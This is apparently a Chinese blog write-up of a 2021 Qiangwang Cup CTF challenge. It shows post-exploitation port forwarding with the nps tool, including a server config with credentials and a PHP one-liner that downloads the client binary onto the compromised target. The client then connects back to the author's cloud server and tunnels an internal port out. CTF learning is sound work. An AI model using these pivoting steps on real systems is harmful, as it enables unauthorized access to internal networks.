前言

强网杯2021的 Hard_Penetration 最后是拿shell之后打内网的,这里记录一下做端口转发的过程 弱鸡第一次,特别宝贵,所以记录一下

正文

准备环境

  1. linux靶机,出网,这里就用强网杯的环境了

  2. 云服务器(用来接收转发的数据的),下文用ip来代指云服务器的ip

正式开始

下载nps,链接https://github.com/ehang-io/nps,下载一个客户端client一个是服务端server,服务端搭在云服务器的客户端是搭在靶机的。我下载的是这两个

把server安装在云服务器上

用工具把server传到自己的云服务器,然后解压

tar -xvf linux_amd64_server.tar.gz

安装

./nps install

安装完启动

./nps start

因为它要用四个端口,默认是80,443,8080,8024,分别用于

80与443端口为域名解析模式默认端口

8080为web管理访问端口

8024为网桥端口,用于客户端与服务器通信

所以到时就是从客户端连到8024端口

如果需要更改默认端口就到/etc/nps/conf/nps.conf里面改

appname = nps
#Boot mode(dev|pro)
runmode = dev

#HTTP(S) proxy port, no startup if empty
http_proxy_ip=0.0.0.0
http_proxy_port=80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key

##bridge
bridge_type=tcp
#客户端连接端口
bridge_port=8024
bridge_ip=0.0.0.0

# Public password, which clients can use to connect to the server
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
public_vkey=123

#Traffic data persistence interval(minute)
#Ignorance means no persistence
#flow_store_interval=1

# log level LevelEmergency->0  LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
log_level=7
#log_path=nps.log

#Whether to restrict IP access, true or false or ignore
#ip_limit=true

#p2p
#p2p_ip=127.0.0.1
#p2p_port=6000

#web
#面板host
web_host=39.96.87.0
#面板账号
web_username=nmy
#面板密码
web_password=nmy
#面板启动端口号
web_port = 8888
web_ip=0.0.0.0
web_base_url=
#是否开启https默认不开启
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678

#allow_ports=9001-9009,10001,11000-12000

#Web management multi-user login
allow_user_login=false
allow_user_register=false
allow_user_change_username=false


#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false

#cache
http_cache=false
http_cache_length=100

#get origin ip
http_add_origin_header=false

#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999

#client disconnect timeout
disconnect_timeout=60

为了安全起见,建议登录密码也改一下(默认密码是123)

改完之后就重启一下nps

nps restart

然后就可以登录服务端了,默认在8080端口 http://ip:8080

如果访问不了请确认是不是 nps start了 或者服务器的安全组有没有放行这几个端口了,如果搭了宝塔记得在宝塔面板的防火墙也放行这几个端口

访问

http://ip:8080

默认登录是admin / 123

登陆进去是这样的

然后在左边客户端新增一个

不用改直接点新增就行

新增之后就是这样

拿到连接密钥1ypqwphryg2sd420,到这里,服务端的部署就ok了

把client安装在靶机

用工具把client传过去,我这里靶机环境是什么都没有,就通过php传

php -r "file_put_contents('/tmp/linux_amd64_client.tar.gz',file_get_contents('http://ip/linux_amd64_client.tar.gz'));"

然后解压

tar -xvf linux_amd64_client.tar.gz

可以看到有一个npc和一个conf ,运行npc

./npc -server=ip:8024 -vkey=1ypqwphryg2sd420

这里vkey就是刚刚在服务端新建客户端的唯一验证密钥

可以看到successful 是连接成功的标志

配置tcp隧道

成功后还不可以访问,还要回到服务端配置tcp隧道

服务端刷新一下可以看到靶机上线了

点右边的查看的隧道,开始配置隧道

点新增

之后界面是这样的

模式:不用改,默认tcp隧道

客户端id:不用改

备注:随便

服务端端口:就是到时你访问的端口 也就是客户端会將内网的流量转发到我们服务器的这个端口,这里我云服务器安全组开了4998端口并且现在没被占用,所以就发到这个端口了,所以我填4998 到时也就访问云服务器的ip:4998

目标 (IP:端口):这个意思是指将内网哪个ip的哪个端口的流量转发出来,我要将靶机127.0.0.1:8005的流量转发出来,所以填127.0.0.1:8005

然后点新增

ok大功告成,访问ip:4998 就等于在靶机访问127.0.0.1:8005了

结尾

记录得很详细(主要是怕以后忘)

参考

https://github.com/ehang-io/nps/blob/master/README_zh.md

https://ehang-io.github.io/nps/#/nps_use

https://blog.csdn.net/qq_33873013/article/details/109074679

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...